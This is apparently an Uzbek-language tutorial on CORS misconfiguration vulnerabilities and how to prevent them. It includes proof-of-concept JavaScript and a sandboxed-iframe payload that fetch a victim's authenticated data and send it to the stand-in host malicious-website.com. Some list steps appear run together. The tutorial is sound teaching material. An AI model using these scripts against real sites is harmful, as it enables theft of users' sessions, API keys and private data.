Ushbu bo'limda quyidagilarni tushuntiramiz:
Cross-origin resource sharing (CORS) — bu berilgan domendan tashqarida joylashgan resurslarga nazorat ostida kirish imkonini beruvchi brauzer mexanizmi. U same-origin policy (SOP) ni kengaytiradi va unga moslashuvchanlik qo'shadi. Biroq, agar veb-saytning CORS siyosati yomon sozlangan va noto'g'ri amalga oshirilgan bo'lsa, u cross-domain hujumlar uchun imkoniyat ham yaratadi. CORS cross-site request forgery (CSRF) kabi cross-origin hujumlardan himoya vositasi emas.
Same-origin policy — bu veb-saytning manba domendan tashqaridagi resurslar bilan o'zaro ishlash qobiliyatini cheklaydigan qat'iy cross-origin spetsifikatsiyasidir. Same-origin policy ko'p yillar oldin, bir veb-sayt boshqasidan shaxsiy ma'lumotlarni o'g'irlashi kabi potentsial zararli cross-domain o'zaro ta'sirlarga javoban belgilangan. U odatda domenga boshqa domenlarga so'rovlar yuborishga ruxsat beradi, ammo javoblarga kirishga ruxsat bermaydi.
Same-origin policy juda cheklovchi bo'lgani uchun uning cheklovlarini chetlab o'tish maqsadida turli yondashuvlar ishlab chiqilgan. Ko'p veb-saytlar subdomenlar yoki uchinchi tomon saytlari bilan to'liq cross-origin kirishni talab qiladigan tarzda o'zaro ishlaydi. Same-origin policy'ni nazorat ostida yumshatish cross-origin resource sharing (CORS) yordamida mumkin.
Cross-origin resource sharing protokoli ishonchli veb-originlarni va ular bilan bog'liq xususiyatlarni — masalan, autentifikatsiyalangan kirishga ruxsat berilgan-berilmaganini — belgilaydigan bir qator HTTP sarlavhalaridan foydalanadi. Bular brauzer va u kirmoqchi bo'lgan cross-origin veb-sayt o'rtasidagi sarlavhalar almashinuvida birlashtiriladi.
Ba'zi ilovalar bir qancha boshqa domenlarga kirishni ta'minlashi kerak. Ruxsat etilgan domenlar ro'yxatini yuritish doimiy harakat talab qiladi va har qanday xato funksionallikni buzish xavfini tug'diradi. Shu sababli ba'zi ilovalar oson yo'lni tanlab, amalda istalgan boshqa domendan kirishga ruxsat beradi.
Buni amalga oshirishning bir usuli — so'rovlardan Origin sarlavhasini o'qib, javobga so'rov yuborayotgan origin ruxsat etilganligini bildiruvchi sarlavhani qo'shishdir. Masalan, quyidagi so'rovni qabul qiladigan ilovani ko'rib chiqaylik:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...Keyin u quyidagicha javob beradi:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...Bu sarlavhalar so'rov yuborayotgan domendan (malicious-website.com) kirishga ruxsat berilganligini va cross-origin so'rovlar cookie'larni o'z ichiga olishi mumkinligini (Access-Control-Allow-Credentials: true) hamda shu sababli sessiya ichida qayta ishlanishini bildiradi.
Ilova ixtiyoriy originlarni Access-Control-Allow-Origin sarlavhasida aks ettirgani sababli, bu mutlaqo istalgan domen zaif domendan resurslarga kira olishini anglatadi. Agar javob API kaliti yoki CSRF token kabi biror maxfiy ma'lumotni o'z ichiga olsa, siz uni o'z veb-saytingizga quyidagi skriptni joylashtirib olishingiz mumkin:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};Bir nechta origindan kirishni qo'llab-quvvatlaydigan ba'zi ilovalar buni ruxsat etilgan originlarning oq ro'yxati (whitelist) yordamida amalga oshiradi. CORS so'rovi qabul qilinganda, berilgan origin oq ro'yxat bilan solishtiriladi. Agar origin oq ro'yxatda bo'lsa, u Access-Control-Allow-Origin sarlavhasida aks ettiriladi va shu tariqa kirishga ruxsat beriladi. Masalan, ilova quyidagi kabi oddiy so'rovni qabul qiladi:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.comIlova berilgan originni ruxsat etilgan originlar ro'yxati bilan tekshiradi va agar u ro'yxatda bo'lsa, originni quyidagicha aks ettiradi:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.comCORS origin oq ro'yxatlarini amalga oshirishda ko'pincha xatolar yuzaga keladi. Ba'zi tashkilotlar o'zlarining barcha subdomenlaridan (shu jumladan hali mavjud bo'lmagan kelajakdagi subdomenlardan) kirishga ruxsat berishga qaror qiladi. Ba'zi ilovalar esa turli boshqa tashkilotlarning domenlaridan, shu jumladan ularning subdomenlaridan kirishga ruxsat beradi. Bu qoidalar ko'pincha URL prefikslari yoki suffikslarini moslashtirish yoki regular expression'lardan foydalanish orqali amalga oshiriladi. Amalga oshirishdagi har qanday xato mo'ljallanmagan tashqi domenlarga kirish huquqi berilishiga olib kelishi mumkin.
Masalan, faraz qilaylik, ilova quyidagi bilan tugaydigan barcha domenlarga kirishga ruxsat beradi:
normal-website.comHujumchi quyidagi domenni ro'yxatdan o'tkazish orqali kirish huquqiga ega bo'lishi mumkin:
hackersnormal-website.comYoki, faraz qilaylik, ilova quyidagi bilan boshlanadigan barcha domenlarga kirishga ruxsat beradi:
normal-website.comHujumchi quyidagi domendan foydalanib kirish huquqiga ega bo'lishi mumkin:
normal-website.com.evil-user.netOrigin sarlavhasi spetsifikatsiyasi null qiymatini qo'llab-quvvatlaydi. Brauzerlar turli g'ayrioddiy holatlarda Origin sarlavhasida null qiymatini yuborishi mumkin:
file: protokolidan foydalanuvchi so'rov.Ba'zi ilovalar ilovani lokal ishlab chiqishni qo'llab-quvvatlash uchun null originni oq ro'yxatga kiritishi mumkin. Masalan, faraz qilaylik, ilova quyidagi cross-origin so'rovni qabul qiladi:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: nullVa server quyidagicha javob beradi:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: trueBunday vaziyatda hujumchi Origin sarlavhasida null qiymatini o'z ichiga olgan cross-origin so'rov yaratish uchun turli hiylalardan foydalanishi mumkin. Bu oq ro'yxatni qanoatlantiradi va cross-domain kirishga olib keladi. Masalan, buni quyidagi shakldagi sandbox'langan iframe cross-origin so'rovi yordamida amalga oshirish mumkin:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>Hatto "to'g'ri" sozlangan CORS ham ikki origin o'rtasida ishonch munosabatini o'rnatadi. Agar veb-sayt cross-site scripting (XSS) ga zaif bo'lgan originga ishonsa, hujumchi XSS'dan foydalanib, zaif ilovaga ishonadigan saytdan maxfiy ma'lumotni olish uchun CORS'dan foydalanadigan JavaScript kodini inyeksiya qilishi mumkin.
Quyidagi so'rov berilgan bo'lsin:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...Agar server quyidagicha javob bersa:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: trueU holda subdomain.vulnerable-website.com da XSS zaifligini topgan hujumchi undan API kalitini olish uchun quyidagi kabi URL'dan foydalanishi mumkin:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>Faraz qilaylik, HTTPS'dan qat'iy foydalanadigan ilova oddiy HTTP ishlatadigan ishonchli subdomenni ham oq ro'yxatga kiritadi. Masalan, ilova quyidagi so'rovni qabul qilganda:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...Ilova quyidagicha javob beradi:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: trueBunday vaziyatda qurbon foydalanuvchining trafigini ushlab qolish imkoniga ega bo'lgan hujumchi CORS konfiguratsiyasidan foydalanib, qurbonning ilova bilan o'zaro ishlashini buzishi mumkin. Bu hujum quyidagi bosqichlardan iborat:
http://trusted-subdomain.vulnerable-website.comhttps://vulnerable-website.comhttp://trusted-subdomain.vulnerable-website.com originini qo'shadi.Bu hujum zaif veb-sayt HTTPS'dan foydalanishda boshqa jihatlardan mustahkam bo'lsa ham — hech qanday HTTP endpoint bo'lmasa va barcha cookie'lar secure deb belgilangan bo'lsa ham — samarali bo'ladi.
Ko'pchilik CORS hujumlari quyidagi javob sarlavhasining mavjudligiga tayanadi:
Access-Control-Allow-Credentials: trueBu sarlavhasiz qurbon foydalanuvchining brauzeri uning cookie'larini yuborishdan bosh tortadi, ya'ni hujumchi faqat autentifikatsiyalanmagan kontentga kira oladi — buni esa u to'g'ridan-to'g'ri maqsadli veb-saytga kirib ham bemalol qo'lga kiritishi mumkin edi.
Biroq, hujumchi veb-saytga to'g'ridan-to'g'ri kira olmaydigan bir keng tarqalgan holat bor: veb-sayt tashkilotning intraneti (ichki tarmog'i) qismi bo'lganda va shaxsiy (private) IP manzillar fazosida joylashganda. Ichki veb-saytlar ko'pincha tashqi saytlarga qaraganda pastroq xavfsizlik standartida ushlab turiladi, bu esa hujumchilarga zaifliklarni topish va keyingi kirishga erishish imkonini beradi. Masalan, shaxsiy tarmoq ichidagi cross-origin so'rov quyidagicha bo'lishi mumkin:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.comVa server quyidagicha javob beradi:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *Ilova serveri istalgan origindan credential'larsiz kelgan resurs so'rovlariga ishonmoqda. Agar shaxsiy IP manzillar fazosidagi foydalanuvchilar ochiq internetga kirsalar, tashqi saytdan CORS'ga asoslangan hujum amalga oshirilishi mumkin — bunda qurbonning brauzeri intranet resurslariga kirish uchun proksi sifatida ishlatiladi.
Agar veb-resurs maxfiy ma'lumotni o'z ichiga olsa, origin Access-Control-Allow-Origin sarlavhasida to'g'ri ko'rsatilishi kerak.
Bu aniq ko'rinishi mumkin, ammo Access-Control-Allow-Origin sarlavhasida ko'rsatilgan originlar faqat ishonchli saytlar bo'lishi kerak. Xususan, cross-origin so'rovlardan kelgan originlarni tekshiruvsiz dinamik tarzda aks ettirish osongina ekspluatatsiya qilinadi va bundan qochish kerak.
Access-Control-Allow-Origin: null sarlavhasidan foydalanishdan saqlaning. Ichki hujjatlardan va sandbox'langan so'rovlardan kelgan cross-origin resurs chaqiruvlari null originni ko'rsatishi mumkin. CORS sarlavhalari shaxsiy va ommaviy serverlar uchun ishonchli originlarga nisbatan to'g'ri belgilanishi kerak.
Ichki tarmoqlarda wildcard'lardan foydalanmang. Ichki brauzerlar ishonchsiz tashqi domenlarga kira olganda, ichki resurslarni himoya qilish uchun faqat tarmoq konfiguratsiyasiga ishonish yetarli emas.
CORS brauzer xatti-harakatlarini belgilaydi va u hech qachon maxfiy ma'lumotni server tomonida himoya qilishning o'rnini bosa olmaydi — hujumchi istalgan ishonchli origindan so'rovni to'g'ridan-to'g'ri soxtalashtirishi mumkin. Shu sababli veb-serverlar to'g'ri sozlangan CORS'ga qo'shimcha ravishda maxfiy ma'lumot ustidan autentifikatsiya va sessiyani boshqarish kabi himoyalarni qo'llashda davom etishi kerak.